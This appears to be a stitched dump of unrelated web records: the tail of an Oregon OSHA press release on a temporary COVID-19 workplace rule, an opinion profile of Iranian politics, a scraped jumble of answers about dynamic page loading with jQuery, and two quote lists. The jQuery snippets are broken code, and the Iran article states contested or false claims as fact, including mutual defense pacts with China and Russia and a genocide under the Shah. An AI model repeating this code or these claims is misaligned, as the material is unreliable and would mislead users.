division is providing a user-friendly overview table of the temporary rule, summarizing the requirements and how they apply, and showing the effective dates of the phased-in provisions. Oregon OSHA encourages a careful reading of the temporary rule, which includes an appendix that contains provisions for specific industries and workplace activities. The temporary rule’s requirements include: Physical distancing Employers must ensure six-foot distancing between all people in the workplace through design of work activities and workflow, unless it can be shown it is not feasible for some activities. Masks, face covering, or face shields Employers must ensure that all individuals – including employees, part-time workers and customers – at the workplace, or other establishment under the employer’s control, wear a mask, face covering, or face shield in line with the Oregon Health Authority’s statewide guidance. Employers must provide masks, face coverings, or face shields for employees free of cost. If an employee chooses to wear a mask, face shield, or face covering – even when it is not required – the employer must allow them to do so. When employees are transported in a vehicle for work-related purposes, regardless of the travel distance or duration, all people inside the vehicle must wear a mask, face covering, or face shield. This requirement does not apply when all people in the vehicle are members of the same household. Ventilation Employers must maximize the effectiveness of existing ventilation systems, maintain and replace air filters, and clean intake ports providing fresh or outdoor air. The temporary rule does not require employers to purchase or install new ventilation systems. Exposure risk assessment Employers must conduct a risk assessment – a process that must involve participation and feedback from employees – to gauge potential employee exposure to COVID-19, including addressing specific questions about how to minimize such exposure. Infection control plan Employers must develop an infection control plan addressing several elements, including when workers must use personal protective equipment and a description of specific hazard controls. Information and training Employers must provide information and training to workers about the relevant topics related to COVID-19. They must do so in a manner and language understood by workers. Notification, testing, medical removal Employers must notify affected workers within 24 hours of a work-related COVID-19 infection. Employers must cooperate with public health officials if testing within the workplace is necessary. If an employee must quarantine or isolate, the employer must follow proper work reassignment and return-to-work steps. The rule requires more measures for exceptionally high-risk jobs. Such jobs include direct patient care or decontamination work; aerosol-generating or postmortem procedures; and first-responder activities. The additional measures include: Detailed infection control training and planning Sanitation procedures for routine cleaning and disinfection Robust use of personal protective equipment Operation of existing ventilation systems according to national standards Use of barriers, partitions, and airborne infection isolation rooms Screening and triaging for symptoms of COVID-19 Meanwhile, an executive order issued Oct. 23 by Gov. Kate Brown extended COVID-19 protections for agricultural workers in employer-provided housing through the off season. Following adoption of its temporary COVID-19 rule for all workplaces, Oregon OSHA continues to pursue permanent rulemaking that would provide a structure for responding to potential future disease outbreaks. More information is available on the division’s infectious disease rulemaking page and on its COVID-19 resources page. ### About Oregon OSHA: Oregon OSHA, a division of the Department of Consumer and Business Services, enforces the state's workplace safety and health rules and works to improve workplace safety and health for all Oregon workers. For more information, go to osha.oregon.gov. The Department of Consumer and Business Services is Oregon's largest business regulatory and consumer protection agency. For more information, go to www.oregon.gov/dcbs/. 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0.999873	Here are the main events that occurred in Politics this week 1. President Joe Biden Announces Sweeping Coronavirus... OurWeek OurWeek In Politics (August 4, 2021-August 11, 2021) Matthew Rose - August 11, 2021 Here are the main events that occurred in Politics this week: 1. In A Rare Bipartisan Vote,... OurWeek OurWeek In Politics (May 12, 2021-May 19, 2021) Matthew Rose - May 19, 2021 Here are the main events that occurred in Politics this week: 1. CDC Ends Mask Mandate For Individuals... OurWeek OurWeek In Politics (March 10, 2021-March 17, 2021) Matthew Rose - March 18, 2021 Here are the main events that occurred in Politics this week: 1.Former President Donald Trump To Decide On... OurWeek OurWeek In Politics (February 24, 2021-March 11, 2021) Matthew Rose - March 11, 2021 Here are the main events that occurred in Politics over the past two weeks: 1. Congress Gives Final... OurStore OurDictionary OurDictionary What Is A Discography? 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Religious scholars have described Wahhabism as... OurLegal Contact Search Home Cultural Studies Country Profiles Iran Country Profile Cultural StudiesCountry Profiles Iran Country Profile By Matthew Rose May 24, 2017 8 Facebook Twitter Pinterest WhatsApp *(This article was originally posted on December 30, 2016, but was updated in response to President Trump’s visits to Saudi Arabia and Israel and the recent Iranian Presidential Election) Over the past century, many countries in the Middle East have sought to move towards democracy. In these cases, some countries successfully transitioned and many others slipped towards authoritarianism. Some of the factors inhibiting the establishment of democratic governments in the Middle East include the influence of the military, cultural and historical factors, and religious factors. Additionally, the legacies of Western imperialism and the role of outside powers such as the US helped to play a role in both the successes and failures of democratization in the region. Iran is one such country that has experiences with democratic political movements. Despite its experiences with democratic political movements and the fact that the dynamics of the country make it a strong candidate for political change, Iran has yet to become a full democracy. With a population of close to 80 million and an economy with a GDP nearing $400 billion, Iran has the largest population in the Middle East and the second biggest economy in the region after Saudi Arabia. Iran plays a major role in the international economy as one of the world’s largest producers of oil. Iran is characterized by a highly effective and centralized governmental structure and has established a reputation as an increasingly important regional power. The Iranian people are bound together by a shared sense of national identity derived from both Shi’a Islam and pre-Islamic heritage that has endured despite governmental changes and the influence of outside powers. Despite its ever-increasingly status as a major power, Iran has been under near-constant pressure from outside powers such as the US, Israel, Saudi Arabia, and the Gulf States who view Iran’s rise and increasing regional influence with suspicion and as a threat to the global hegemony of the US and other Western powers. History of Democratic Political Movements in Iran Known as Persia until 1935, Iran (meaning land/place of the Aryan) has been a unified country for the past 2,500 years and resisted colonialism by Western powers. Even though Iran resisted colonialism, countries such as Great Britain and Russia had a strong influence in Iran during the 19th and early 20th Centuries and convinced the Iranian government (then under the rule of Shah Mozaffar ad-Din Qajar) to grant them full access Iranian natural resources. Such policies angered the Iranian public, who saw their country declining at the hands of a weak government. Additionally, a new social group consisting of the intelligentsia and the middle class exposed to enlightenment political ideals called for a parliamentary system. The 1905-1911 Iranian Constitutional Revolution led to the creation of the first parliamentary system of government in Iran. This desire for political change culminated with the 1905-1911 Persian Constitutional Revolution, which was a response to the 1904-1905 Iranian economic crisis. The response by Mozaffar ad-Din Shah Qajar triggered a wave of popular unrest throughout the country. Some of the goals of the protesters included the establishment of an elected national assembly (the Majiles), a modern judiciary system, and a constitution. Mozaffar ad-Din Shah Qajar dismissed the protesters, but eventually gave in to the demands due to an ongoing general strike and signed a decree on August 5, 1906, allowing for the holding of national elections for election to the Constituent Assembly. The Iranian Constitution divided powers between the Majiles and the Shah. The Shah had the power to declare war, sign treaties, appoint cabinet members, and sign any proposed bills into law. The Majiles, in turn, had the authority to propose legislation and had the final say on all laws, trade agreements, concessions, and treaties. Additionally, the Iranian Constitution gave the citizens a bill of rights including freedom of speech, equality under the law, and freedom of assembly. Despite the initial optimism surrounding the Constitutional Revolution, the political leaders of Iran soon realized that it lacked the full power to reform the country. By 1920, Iran was considered a “failed state” with a weak government a political system immobilized by competing visions and rivalries. Reza Shah Pahlavi placed Iran on a path of economic development during the 1920s and 1930s but also reduced political freedom. The rise of Reza Shah Pahlavi as the Shah of Iran further influenced the struggle for the establishment of democracy in Iran. Two years after leading a coup against the British-back Iranian government, Pahlavi became Prime Minister in 1923. As Prime Minister, Pahlavi sought to modernize Iran and create a strong, centralized government that would ensure political peace and societal stability. By 1925, Pahlavi had enough political support to convince the Majiles to exile Ahmad Shah Qajar and install himself as the next Shah of Iran. Despite his aggressive plan for modernization and improving Iranian political institutions, Pahlavi limited democratic political rights. Declaring that “every country has its own ruling system and ours is a one-man system,” Pahlavi placed restrictions on press freedoms, political freedom, and workers’ rights. Additionally, elections to the Majiles under Pahlavi’s rule were far from democratic (as only property-owning men over the age of 21 had the right to vote in Iran at the time) and candidates had to be approved by the interior ministry. Perhaps the least fair election under the rule of Reza Shah Pahlavi was the 1939 Majiles election, which saw not even one opposition figure elected to the Iranian Parliament. The Anglo-Soviet invasion of Iran in 1941 resulted in the abdication of Reza Shah Pahlavi and the rise of his son, Mohammad Reza Pahlavi, into power as the Shah of Iran. Pahlavi initially turned over much of the political authority to the Majiles and did not get that involved in domestic politics. The relaxing of political restrictions in Iran led to a period of political debate not seen since the Constitutional Revolution. The two political factions that emerged during this period were the Tudeh Party and the National Front. The Tudeh Party was the Iranian communist party and had the support of the working class, student movements, and the intellectuals. The National Front was a loose parliamentary coalition comprised of members of the upper-middle class, professionals, business people, and nationalists. Led by Mohammed Mossadegh, a long-serving member of the Majiles, the National Front sought to establish national sovereignty and diminish foreign control over Iranian society. The message of independence and sovereignty put forward by the National Front resonated deeply resonated with the Iranian people, who long desired independence and the power to determine their futures. Mohammed Mossadegh sought to establish an independent and democratic Iran during his two years as prime minister but was removed from power by a CIA-backed coup in 1953. By early 1951, Mohammed Mossadegh had mobilized enough support within the Majiles to become the Iranian prime minister and implemented a plan to nationalize the Anglo-Persian Oil Company. Mossadegh also proposed a series of progressive policy proposals such as an electoral reform law and a proposed replacing the monarchy with a democratic republic. Both the Shah and the British government were strongly opposed to such policy proposals and sought to remove Mossadegh from power. Eventually, the British government convinced the US government to back a coup attempt based on the pretense that Mossadegh was sympathetic to the Soviet Union and that the nationalization of Iranian oil was a threat to American oil interests in the region. The coup, known as Operation Ajax, succeeded in its goal of removing Mossadegh from power and in turn, gave the Shah increased powers in relation to the elected government of Iran and represented a setback in the quest for democracy in Iran. In the years after the 1953 coup that removed Mohammed Mossadegh from power, political development in Iran remained stagnant. Even though he granted women the right to vote in 1962 and continued Iran on the path of economic modernization, Shah Mohammad Reza Pahlavi cracked down on political opponents such as Islamists, leftists and democracy supporters, banned opposition political parties, and restricted press freedom. Much like under his father, elections during Shah Mohammed Reza Pahlavi’s time in power were unfair and rigged. For example, the 1960 Majiles elections were considered to be “extensively and clumsily rigged,” and its results led to so much of an outcry that they were annulled. Shah Mohammad Reza Pahlavi also created intelligence organizations such as SAVAK with the purpose of monitoring Iranian citizens and using any means at their disposal to deal with political dissent. For example, according to a 1976 Amnesty International report, Iran under the Shah had the world’s highest number of political prisoners (estimated to be ~100,000 at the time) and “the highest rate of death penalties in the world, no valid system of civilian courts and a history of torture which is beyond belief.” The situation in Iran was so dire at this point that even countries with authoritarian records such as the Soviet Union spoke out against such policies and called upon the international community to push Iran to reform its policies. The Iranian Revolution emerged as a response to the Shah’s authoritarian policies and the undemocratic nature of his government. Because of such policies, political and social tensions drastically increased in Iran in the 1960s and 1970s. The opposition movement to the Shah during this period was led by religious leaders such as Ayatollah Ruhollah Khomeini, who criticized the Shah for his corruption, alliance with the US, diplomatic ties with Israel and South Africa (The Shah strongly supported and encouraged Israeli crimes against the Palestinian people and the Apartheid policies of the South African government) and the undemocratic nature of his government. Due to the continued authoritarian rule of the Shah and the failures of his administration to address the long-term problems facing Iranian society, the Iranian people began to demonstrate for his overthrow in early 1978. At first, the Shah attempted to use force to crush the demonstrators, but eventually, the protesters succeeded in the goal when the Shah left Iran in exile in early 1979. In the aftermath of the Revolution, Iranian society was characterized by conflict between various political factions. Some of the political factions who sought power during this period were the People’s Mojahedin of Iran, the Freedom Movement of Iran, and religious conservatives. The key event that allowed the Iranian government under the leadership of Ayatollah Khomeini to consolidate was the nine-year-long Iran-Iraq War, which united the country around the government in the face of an existential threat. Even though the war ended in a stalemate, Iran was considered to have won because it lost no territory and successfully repelled a foreign invader who was backed by major Western powers such as the US, Israel, the Soviet Union, and the UK. The victory over Iraq further aligned the Iranian people with their government and allowed Khomeini to consolidate his hold on power. Political Structure of Iran After the Iranian Revolution and the consolidation of power by the regime of Ayatollah Khomeini, an entirely new governmental structure was set up and Iran was declared to be an Islamic Republic. The current Iranian constitution consists of several different elements making up the governmental structure. The Iranian Constitution is based on the idea of the veyat-e-faqih, which forms the main part of Shi’a political thought. It advocates a guardianship based political system, which relies upon a capable jurist to assume the leadership of government in the absence of an infallible Imam. The basis for the judicial system in Iran is Shari’ah law and the government requires all laws that are passed to be compatible with Islam. Additionally, the Iranian Constitution grants all Iranian citizens basic human rights and civil liberties regardless of religion, race, gender, or ethnicity. Iran also has universal voting rights for all men and women over the age of 16 (15 prior to 2005). An in-depth analysis of the Iranian political system was previously done by the author of the site and can be found here: The Political System of Iran Iran arguably has the highest level of political freedom in the entire Middle East and political engagement is high overall. Even though observers characterize the Iranian political system as authoritarian, the political structure of Iran can be described as a hybrid system. Iran’s political system includes elements of both authoritarian and democratic political systems. Examples of political organizations within Iran that can be described as authoritarian are the Supreme Leader, the Guardian Council, and the Islamic courts. Democratic political institutions within Iran include the presidency, the Majiles, and the regular court system. Political activism is commonplace within Iran, with a high level of political mobilization among all elements of the population and a substantial degree of competition between candidates for public office. For example, the most recent Iranian Presidential election had a turnout of ~73% and is widely considered to be a model election in the region. On the other hand, the Iranian Constitution places restrictions on civil and political liberties (mostly related to political candidate selection) and places several limits on individual freedom. Despite the structural weaknesses associated with the political system of Iran, the high level of political mobilization among the Iranian populace suggests a level of political liberalization. Additionally, Iran is characterized by a relatively open political climate when compared to other countries in the region such as Saudi Arabia, Syria, Israel, and Egypt. Current Political Issues within Iran There are currently several different issues facing Iran that play an impact on the future of democratization within Iran and the outcome of such issues be explained through the application of several theories regarding democratization. One of the major issues facing Iran in recent years is the conflict between the reformists and the traditionalist political factions. Reformist political leaders seek to increase the power of democratic institutions, open Iran to the international community, and implement a series of long-lasting structural changes to the Iranian political system. On the other hand, the more traditional groups within the Iranian political system are generally opposed to major reforms and seek to preserve the Iranian political system in its current form. The traditional factions argue that any reforms within Iran will weaken its government and allow nations hostile to Iran to gain a foothold in the country. The struggle between the reformists and traditionalists within Iran reached its peak during the presidency of Mohammed Khatami (1997-2005). The struggle between the reformist and conservative elements in Iranian politics reached its peak during the reformist presidency of Mohammed Khatami, which lasted from 1997-2005. Despite control of the Majiles by reformist political parties and widespread support among the Iranian populace, the reform efforts by Khatami were hindered by political institutions such as the Guardian Council, the Judiciary, and even by the Supreme Leader. Additionally, because Khatami was part of the Iranian political establishment, his reforms only focused on the policies put forward by the government, they were not intended to establish a new form of government within Iran. The dynamic between the hard-liners and the soft-liners within the Iranian government reflects the theory proposed by Adam Przeworski in “Democracy and the Market.” A possible democratic transition in Iran is dependent on any agreement made between the moderates and conservatives within the government. The overall success of such an arrangement is dependent on the resilience of political institutions within Iran and the willingness of the moderate factions in both the pro-democracy and anti-democracy groups to reduce the influence of the radical elements who are opposed to any political compromise. An agreement between both political factions within Iran may also result in an increasing level of political liberalization and the opening of the Iranian political sphere to an increasingly diverse group of people. The higher level of political liberalization may, in turn, may result in the collapse of the current regime and the replacement of it with a more democratic government. Despite its potential successes in forcing a regime transition, political liberalism is not feasible unless everyone has a full and accurate knowledge of everyone’s political preferences and the probability of successful repression by the government. Support for increasing levels of democracy within Iran is divided, with the youth and the less religious generally more supportive of democratic reforms. The overall societal attitudes towards democracy also play a factor in determining the likelihood of a democratic transition in Iran. Several studies carried out in Iran between 2005 and 2008 reveal a relatively mixed picture regarding support for democracy within Iran. Both studies showed that democracy support was negatively correlated with religiosity, with the more religious respondents expressing weaker support for democracy. The surveys revealed that education, gender, and age correlated with higher support for democratic reform and that the greater the public dissatisfaction with the government, the greater were the demands for democratization. Such findings reveal that there is a lack of consensus and national unity among the Iranian people regarding the ideal political system for their country. Modernization theory stipulates that as economic development increases, the level of democracy and political freedom in a country will increase as well. The experiences of Iran over the past few decades show the opposite trend. For example, Iran experienced high levels of industrialization throughout the 1950s through the 1970s that allowed it to emerge as an economic leader of the developing world. Despite the high level of economic development that characterized Iran during this period, the overall level of democracy and political freedom declined overall. Additionally, Iran has again witnessed increased levels of economic growth and investment since the partial removal of international sanctions against it over the past year. Despite the removal of sanctions and increasing relations between Iran and the rest of the international community, overall political development within Iran continues to remain stagnant and political change seems unlikely in the near-term. The Revolutionary Guards is the elite branch of the Iranian military and has had an increasingly influential role in Iranian politics over the past 20 years. The role of the military in a democratic transition in Iran is also a major factor. The Iranian military is divided into two different factions, the regular military, and the Revolutionary Guards. Whereas the regular military is charged with protecting Iran from any outside threats, the Revolutionary Guard is tasked with preserving the Iranian governmental system from any internal or external threats. The Revolutionary Guards has trained anti-Zionist political groups such as Hamas and Hezbollah and has recently been involved in the fight against ISIS in Iraq and Syria. The Revolutionary Guards were involved in suppressing the 2009 protests in response to alleged disputes in the Iranian Presidential election that year. Iranian politicians in both the reformist and moderate political factions are opposed to the increasing role by the Revolutionary Guards in Iranian politics and have repeatedly sought to place limits on the organization’s influence and power. In response, the leadership of the Revolutionary Guards has often threatened to support a coup against the Iranian government if their authority and power are reduced. Ideal Political System for Iran Based on the previously discussed information, the best step for Iran would be to reform the Islamic Republic system of government. Such a step would keep the current Iranian Consitution and most legislation in place but allow for a far greater level of political freedom. Additionally, this would be easy to implement due to the fact that it would not require the creation of a new political system in Iran. Under this scenario, the position of Supreme Leader would either become directly-elected or be done away with in its entirety. As such, the Iranian President (or military head) would become the main political position in the country and would have the final say on all major policies. Several countries that support the idea of gradual reform within the confines of the Iranian political system include France, Germany, Italy, Nigeria, and Ireland. It would be advantageous for Iran to continue to develop ties with these countries in order to gain support at the international level for further political reform. On the other hand, the two least ideal political systems for Iran would be a constitutional monarchy or a secular republic. Both proposals would not be feasible because they would involve the entire restructuring of the Iranian political system, which may be resisted by hardline elements in the current regime. Additionally, a total restructuring of the Iranian political system may weaken Iranian society and allow for hostile nations opposed to a strong Iran such as the US, Israel, and Saudi Arabia gain a foothold in Iran to ruthless oppress the Iranian people and commit a genocide against them (much like the one that occurred under Shah Mohamed Reza Pahlavi’s rule). A secular republic may also not be accepted because the values it promotes may go against the overall values of the Iranian people. What does Trump mean for the future of Iran? President Donald Trump has proposed taking a harder line against Iran, which many fear will lead to a war between the US and Iran. President Donald Trump has generally appointed neo-conservatives such as James Mattis and Mike Pompeo to positions of power in his cabinet and views the conflict between the US and Iran as a religious struggle between Shi’a Islam on one hand, and Christianity, Sunni Islam, and Judaism on the other. Additionally, Trump has also talked about a hardening stance with Iran over a number of issues and has met with the leadership of Saudi Arabia and Israel to build up support for an anti-Iran alliance. The development of an anti-Iranian alliance in the Middle East threatens to place the US in the course of military action against Iran. President Trump is also close with Iranian opposition leaders such as Maryam Rajavi (the head of the People’s Mojahedin of Iran (MEK), a militant group that has killed close to 20,000 Iranian civilians between 1981 and 2001) and Reza Pahlavi (the late Shah of Iran’s son, who is working as an operative for the US and Israeli governments). Both Reza Pahlavi and Maryam Rajavi have little support within Iran and would thus not be viewed as legitimate democratic leaders if they somehow gained power. If a war was launched against Iran by the US, Israel, and Saudi Arabia, it would reduce the chances for Iran to gradually transition into a full democracy, permanently destabilize the entire Middle East, and negatively impact the global economy. Additionally, a war with Iran threatens to spark a major global conflict, as countries such as China and Russia have mutual defense pacts with Iran and would intervene on Iran’s behalf in the event of any potential attack. Conclusion Several factors may ultimately influence a proposed democratic transition in Iran. Arguably the strongest factor that would play a role is the relationships between the hardliners and the moderates within the government. In the relationship between both the hardliners and the reformists within the Iranian government shows that there exists the potential for Iran to go through a gradual process towards full democratization. A potential agreement between both groups may allow Iran to go through a gradual and phased transition to democracy within the confines of the current Iranian political structure. Additionally, a gradual approach to democratization might serve as a way to reduce some of the tensions that have occurred in other countries that implemented a less gradual and more immediate democratic transition. Such a transition is also dependent on continued political activism among the populace, the overall strength of the economy in the coming years, the role of foreign powers, and the future role of Iran within the Middle East. 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0.95976	Question answered already: Change browser URL and page content without reload and without using fragments,So I'm sure a bunch of you have seen or even use sites that load pages seemingly dynamically, without ever actually changing pages. As well as changing the url in the address bar., Stack Overflow for Teams Where developers & technologists share private knowledge with coworkers ,as you can see, when either of the two script file is loaded the must be unload, if so, the rendered view will change dynamically depending on the loaded script. This is my idea; var href = window.location.href; This will get the whole href from the address bar. href = href.split("#/"); this can also bee # to split from an has tag item = href[1].split("/"); this can be anything you like to use to split each paremeter item. lastitem = item[item.length - 1] When the document is ready I check what the last item in the parameter (after /) is. I then have a php file with the same name, I find it and add it the the content area. $.ajax({ url: lastitem '.php', success: function(data) { $('.content').html(data); } }); The click event can than be like this $("a").click(function() { var href = $(this).attr(href); href = href.split(# / ); href = href[href.length - 1]; $.ajax({ url: href '.php', success: function(data) { $('.content').html(data); } }); }); load more v 88% scripts with a defer attribute will load in the order they are in and will only execute once everything has finished loading.,In this case both the script and the HTML will load simultaneously and the code will work.,For example, if you have the following script elements:,You can try this version of our demo below. <p>Player 1: Chris</p> load more v 72% A single-page application (SPA) is a web application or website that interacts with the user by dynamically rewriting the current web page with new data from the web server, instead of the default method of a web browser loading entire new pages. The goal is faster transitions that make the website feel more like a native app. ,The SPA approach on the web is similar to the single-document interface (SDI) presentation technique popular in native desktop applications. ,There are various techniques available that enable the browser to retain a single page even when the application requires server communication. ,Analytics tools such as Google Analytics rely heavily upon entire new pages loading in the browser, initiated by a new page load. SPAs do not work this way. Because of the lack of JavaScript execution on crawlers of some popular Web search engines,[17] SEO (Search engine optimization) has historically presented a problem for public facing websites wishing to adopt the SPA model.[18] Between 2009 and 2015, Google Webmaster Central proposed and then recommended an "AJAX crawling scheme"[19][20] using an initial exclamation mark in fragment identifiers for stateful AJAX pages (#!). Special behavior must be implemented by the SPA site to allow extraction of relevant metadata by the search engine's crawler. For search engines that do not support this URL hash scheme, the hashed URLs of the SPA remain invisible. These "hash-bang" URIs have been considered problematic by a number of writers including Jeni Tennison at the W3C because they make pages inaccessible to those who do not have JavaScript activated in their browser. They also break HTTP referer headers as browsers are not allowed to send the fragment identifier in the Referer header.[21] In 2015, Google deprecated their hash-bang AJAX crawling proposal.[22] #! 65% How a front-end framework might help address these. ,We’re going to talk about front-end frameworks a bunch (you might have gotten a hint from the title), so let’s get on the same page around terminology:,Let’s recap the major ways in which adopting a front-end framework will help our quickly growing app:,What would MySquare look like if you implemented a popular front-end framework, like React? Here are a few changes you would experience: load more v 75% express - Express.js—or simply Express—a Sinatra-inspired web development framework for Node.js, and the de-facto standard for the majority of Node.js applications out there today.,hapi - a very modular and simple to use configuration-centric framework for building web and services applications,Node.js executes JavaScript code in its environment on the server, whereas Angular is a JavaScript framework that gets executed on the client (i.e. within a web browser.),pug (formerly Jade) - One of the popular templating engines, inspired by HAML, a default in Express.js. 40% jQuery Learning Center,jQuery Core API Documentation,Browse or Submit jQuery Bugs $("button.continue").html("Next Step...") load more v Other "loading-dynamic" queries related to "How do they do it? Dynamic Loading pages/websites ... Framework, script? PHP, jQuery, Ruby?"
0.99693	List of top 13 famous quotes and sayings about letterman jacket bible to read and share with friends on your Facebook, Twitter, blogs. Top 13 Letterman Jacket Bible Quotes #1. Every day is a gift with a child, no matter what problems you have. - Author: Carol Ann Duffy #2. Creators aren't gods. They make places, which is quite hard. It's men that make gods. This explains a lot. - Author: Terry Pratchett #3. The amount of money we spend on education is important, but not nearly as important as how the money is spent. - Author: Bob Riley #4. Perhaps some of us have to go through dark and devious ways before we can find the river of peace or the highroad to the soul's destination. - Author: Joseph Campbell #5. What is deeper is warmer. When you're looking for what is deeper, add warmth. - Author: John De Ruiter #6. Talented performers flock to the best and brightest leaders, and these leaders in turn lift the lids off their people and uncork the latent talent inside of them. - Author: John C. Maxwell #7. Since you dismissed your maid," he said, "I suppose it will be up to me to undress you." "That is most chivalrous of you, my lord. - Author: Julianne MacLean #8. When 'Paul's Boutique' came out, I was one of the fans that didn't get it. - Author: Eminem #9. Billy moved restlessly. "Seems like-seems like- towards night as if a body got kind o' lonesome for a woman person-like her." Billy indicated Margaret and then closed his eyes so tight his small face wrinkled. - Author: Gene Stratton-Porter #10. You've got all these people making action movies, and they've never been in a life-or-death situation. - Author: Richard Stanley #11. The materials for the nest must be collected and woven strand by strand ... Such a birdy method may at first seem absurd to the forward-thinking nest maker, but soon it will be found that the pleasures of the project are not derived from efficiency. - Author: P. Harding #12. They don't write books and make movies about people who make peace with the unjust deaths of others. They write them about people who muster their moral courage and fight for the weak and the innocent, even at their own peril. - Author: John Ensor #13. Yesterday was good, but let us dream and work hard to make tomorrow even better. - Author: Debasish Mridha
0.999983	List of top 62 famous quotes and sayings about easy going life to read and share with friends on your Facebook, Twitter, blogs. Top 62 Quotes About Easy Going Life #1. This is not going to be easy. I'm good at being bad, but I'm bad at being good. I don't know the first thing about good deeds. - Author: Neal Shusterman #2. God seemed to be having a hard time killing him, and he'd be damned if he was going to make the job easy for mere mortals - Author: Mario Puzo #3. Tramping is too easy with all this money. My days were more exciting when I was penniless and had to forage around for my next meal. As for me, I've decided that I'm going to live this life for some time to come. The freedom and simple beauty of it is just too good to pass up. - Author: Christopher McCandless #4. When I became leader, I made very clear I was not going to choose the easy life. I have always taken risks. I don't like comfort-zone politics. - Author: Nick Clegg #5. Life is not always going to be an easy road. There's going to be some bumps. That's what makes a person stronger. - Author: Sheena Binkley #6. I think I had kind of an advantage. When I was growing up, my dad had just got out of jail and he had a great record collection. He had - it was all - these were the songs. So I heard a lot of these songs, like, my whole life, so for me it was easy. I already knew what I was going to sing. - Author: Chris Isaak #7. But she was half in love with chaos... With all her yearning for the ordinary life, she was born to admire outsiders. You could see she felt enlarged by drama and trouble, by the electric pulse of things going wrong, and her vision of the easy life remained in most ways a recurring dream. - Author: Andrew O'Hagan #8. Your life is not going to be easy, and it should not be easy. It ought to be hard. It ought to be radical; it ought to be restless; it ought to lead you to places you'd rather not go. - Author: Henri Nouwen #9. I'm going to have setbacks and failures; I'm not going to see change right away all of the time or most of the time. But everybody I've ever respected has failed at one thing or another. I've definitely fallen on my face. But I've also had a comparatively easy life. - Author: Cory Booker #10. [Life]It is what you make it. If you think you can't change the world, then go on and follow the path already carved out for you. But there are other roads to choose, they're just harder to trudge through. Changing the world is'nt easy, but I sure as hell am going to keep trying. Are you? - Author: Simone Elkeles #11. I'm not saying it's going to be easy. Nothing in life is easy. But that's no reason to give up. You'll be surprised what you can accomplish if you set your mind to it. After all, you only have one life, so you should try to make the most of it. - Author: Louis Sachar #12. If one tends to be a humorous person and you have a sense of humor the rest of your life then you can certainly lighten the load, I think, by bringing that to your trials and tribulations. It's easy to have a sense of humor when everything is going well. - Author: Alan Thicke #13. I like a girl who doesn't take life too seriously and is quite easy-going. - Author: Louis Tomlinson #14. Life isn't like a Full House episode. There isn't going to be an easy out to every conflict. There is no milkman, paperboy, or evening TV. There are good moments and bad moments and not everything will tie together nicely in the end. But that's life, and I think I'm finally starting to get it. - Author: Jodi Sweetin #15. It's very easy to go through your whole life and never really get anything done or have any real meaningful interactions or relationships. All of a sudden you're dead, and I'm going to say that's got to be a letdown. - Author: Demetri Martin #16. Because you are in the middle of becoming who you will be. It isn't going to be easy. You may need help. So feel free to ask us for it. - Author: Cate Tiernan #17. Even when it seems things are just not going your way do not lose your focus. Rather, that is the time to really dig your heels in and keep on going for that goal. Anything in life that is of value and worth having does not come easy. - Author: Emeralda Savage #18. It doesn't occur to so many people that if you don't have a clear heterosexual, gender confirming identity that there are parts of day-to-day life - like using a bathroom or getting your clothes - that just aren't going to be as easy. - Author: Lena Dunham #19. I took the other road, all right, but only because it was the easy road for me, the way I wanted to go. If I've encountered some unnecessary resistance that's because most of the traffic is going the other way. - Author: Edward Abbey #20. Life is short. People are not easy to know. They're not easy to know, so if you don't tell them how you feel, you're not going to get anywhere, I feel. - Author: Nina Simone #21. Basically we're puppeteers and if you're there and you're in the character, the puppet is going to look good. It's going to breath life and I think once they find out how to trust this system, you just forget about it and just perform, then it's just second nature, it just becomes easy. - Author: Andy Serkis #22. In the music industry, it's pretty easy to make an album just because you want to keep going, like, 'This is the formula.' But the formula is your life. You have to live your life and you have to live it well-that's the formula. - Author: Angel Olsen #23. If you will be hard on yourself, life will be easy on you. But if you insist upon being easy on yourself, life is going to be very hard on you. - Author: Zig Ziglar #24. The late sixties and early seventies were kind of a breeding ground for exciting new sounds because easy listening and folk were kind of taking over the airwaves. I think it was a natural next step to take that blissful, easy-going sound and strangle the life out of it. - Author: Alice Cooper #25. You are going to experience hurt, fear, pain, and possibly even heartache, but that's life. You stand back up, and you begin again. It's not easy. It sucks. And it might damage you, but that's how you build a thick skin. You take what life hands you , and you do your damn best to survive. - Author: Brooke Cumberland #26. Life is not easy and comfortable, with nothing ever going wrong as long as you buy the right product. It's not true that if you have the right insurance everything is going to be fine. That's not what it's really like. Terrible things happen. And those are the things we learn from. - Author: Madeleine L'Engle #27. I believe that life is hard. That we all are going to walk through things that are hard and challenging, and yet advertising wants us to believe that it's all easy. - Author: Jamie Lee Curtis #28. Laurie's going to have a mighty easy life all right. Annie Laurie McShane! She'll never have the hard times we had, will she? No. And she'll never have the fun we had, either. "Gosh! We did have fun, didn't we, Neeley?" Yeah! Poor Laurie, said Francie pityingly. - Author: Betty Smith #29. The reason I feel like I act is because you get to live a million different lives in one. I don't have to go about my life, just being easy-going New Zealander Rose. Sometimes I can inhabit a feisty, vicious character. Sometimes I can inhabit a painfully shy British girl, or whatever it might be. - Author: Rose McIver #30. Little Zac had it easy - but he didn't realize he had it easy, so he took it for granted. I think going through 'Hairspray' and other projects helped me learn about the business and life in general. - Author: Zac Efron #31. I feel like I have lost all control. I am going to roll with it. - Author: Amanda Mosher #32. Common sense would suggest that having ability, like being smart, inspires confidence. It does, but only while the going is easy. The deciding factor in life is how you handle setbacks and challenges. People with a growth mindset welcome setbacks with open arms. - Author: Travis Bradberry #33. I'm a huge fan of Chicago sports and Chicago food, and I love going home and my family is still there. I guess it's pretty easy to have a normal life in Chicago. - Author: Matt Walsh #34. Stop going for the easy buck and start producing something with your life. Create, instead of living off the buying and selling of others. - Author: Martin Sheen #35. Because going through a hard life with someone else is better than going through an easy life alone. - Author: Jesse Eisenberg #36. It's not an easy thing to tell the girl that you love more than life itself that you're going to marry someone else. - Author: Mary E. Pearson #37. When you're going through a tough spell, it's easy to think that's all your life is about. You forget the good things, forget the quiet places. But they're always inside of us and we can pull them up when we need to set ourselves right. - Author: Joan Bauer #38. In real life I'm pretty easy going and pretty chill, I'm not the party girl who will go wild and crazy necessarily. - Author: Bonnie McKee #39. When people see you do alright, then you start winning their hearts. It's not going to come easy, though. It doesn't matter how many people you do right, you're still going to be hated by so many others. You can't live your life trying to make everybody happy. - Author: Cam Newton #40. An easy-going husband is the one indispensable comfort of life. - Author: Ouida #41. Everybody is going to have their critics. It's easy to get discouraged in life. - Author: Joel Osteen #42. Life's not that simple. Not so easy to move on when the anger you've got is what keeps you going. - Author: Rachel Ward #43. Live is the mystery which can not be solved by anyone. So it's better to make life easy going which may not bring us to complications.. - Author: Debolina Bhawal #44. When I have a difficult decision to make, I imagine myself as a 90-year-old guy looking back on his life. I 